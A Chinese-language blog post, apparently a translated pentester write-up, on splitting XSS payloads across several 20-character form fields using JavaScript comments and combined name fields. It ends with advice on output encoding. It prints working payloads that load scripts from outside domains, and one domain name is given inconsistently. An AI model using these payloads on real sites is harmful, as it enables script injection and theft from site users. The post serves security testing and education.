突破20字符限制:拆分XSS载荷攻击技术解析

本文详细介绍了如何通过拆分XSS载荷突破20字符输入限制的技术方法,包括利用多输入字段拼接脚本标签、注释干扰HTML以及结合jQuery的简化攻击方案,并探讨了相应的防御措施。

拆分XSS载荷

日期:2021年1月11日

我正在测试一个表单(实际测试在11月进行,但写作中途被中断),发现一个编辑表单有8个输入字段,均未进行输出编码、输入验证或过滤。这通常是XSS攻击的绝佳目标,但存在一个限制:所有字段最多只能输入20个字符。虽然可能有专家能在20字符内构造有效攻击,但我无法做到[1],因此我通过注入一个简单的加粗标签演示了HTML注入:

1
before"><b>12345678901234567890

显然我无法在真实站点展示,因此搭建了一个实验环境进行测试。如图所示,输入内容未经过编码即显示,但被截断为20字符。

我本打算将此问题与其他已发现的XSS漏洞一并上报修复,但决定先尝试突破限制。

由于输入字符无限制,我尝试使用未闭合的<script>标签(理论上应无效,但值得一试)。失败后我想到:能否在一个输入中打开标签,在另一个输入中关闭?这样只需处理中间内容。

  • 输入1"><script>alert(1)
  • 输入2</script>

从截图可见,接近成功,但两个注入点之间的HTML不是有效JavaScript,导致错误:

处理此问题有多种方式,最简单的是注释掉干扰的HTML:

  • 输入1"><script>alert(1)/*
  • 输入2*/</script>

完美!现在JavaScript可执行,成功突破20字符限制。计算可用空间:

  • 第一个字段:用12字符闭合输入标签并开启脚本标签和注释,剩余8字符。
  • 中间字段:每字段用4字符(闭合前注释并开启新注释),剩余16字符用于载荷。
  • 最后一个字段:用11字符闭合注释和脚本标签,剩余9字符。

示例:

1
2
3
4
5
12345678901234567890|
"><script>12345678/*|
*/1234567890123456/*|
*/1234567890123456/*|
*/123456789</script>|

理论载荷空间:8 + (6 × 16) + 9 = 113字符。这不是原始113字符,需按浏览器可解析方式拆分,但远优于单字段20字符。JavaScript对拆分解析非常宽容(例如可在对象与方法调用间插入注释[2])。经调整后,每行满足20字符限制且功能完整:

1
2
3
4
5
6
7
8
9
12345678901234567890|
"><script>/*        |
*/x=document/*      |
*/.createElement(/* |
*/"script");x./*    |
*/src="//dn.lc/s";/*|
*/document.head./*  |
*/appendChild(x);/* |
*/</script>         |

此代码创建新脚本元素,通过src加载外部脚本文件(//dn.linja/s),并添加到文档中,等效于:

1
<script src="//dn.lc/s"></script>

即使域名较长,仍有余地调整。注入会破坏页面外观(因注释大量HTML),外部脚本先修复页面显示,再执行恶意内容(如弹窗alert)。

若目标站点使用jQuery,攻击更简单,仅需5个输入(无需短域名):

1
2
3
4
5
6
12345678901234567890|
"><script>/*        |
*/$.getScript(/*    |
*/"//digi.ninja/"+/*|
*/"split.js");/*    |
*/</script>/*       |

此技术可能已被其他测试者使用,但未见公开讨论或课程覆盖,因此值得分享。实验环境已搭建:Split XSS Lab,欢迎尝试。


附加技巧:组合XSS

这是同一测试中使用的另一技术,虽非新创但缺乏文档记录,特此说明。

注册站点时需分别填写名字和姓氏,站点会在多处使用全名(如主面板显示“Welcome back Robin Wood”或任务列表署名)。测试发现自定义验证器允许所有字符,但阻止完整HTML标签(如abc<b允许,abc<b>阻止)。全名显示时未做输出编码。

攻击方法:名字输入abc<script src="//digi.ninja/script.js"(缺少闭合>),姓氏输入/>。站点组合后生成有效HTML标签:

1
abc<script src="//digi.ninja/script.js" />

从而加载外部脚本执行任意代码。单个字段无法恶意利用,但组合后绕过防御。

此漏洞测试已包含在Split XSS Lab中。


防御措施

若站点正确执行输出编码(如HTML编码),上述攻击均无效。输入验证和过滤可作为辅助防御(阻止恶意内容进入),但不可单独依赖,应作为多层次防御的一部分。始终假设来自不可信源(通常为用户)的内容已被污染,并在使用(如直接插入HTML、通过JavaScript添加至DOM或构建SQL查询)时谨慎处理。


参考文献

  1. 写作期间@CVE-JACKSON-1337推文展示三种20字符内XSS攻击,但两种需3字符域名,一种仅8字符载荷空间,仍不满足需求。
  2. Wireghoul的博客和工具展示了类似注释拆分技术应用于PHP的案例。
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计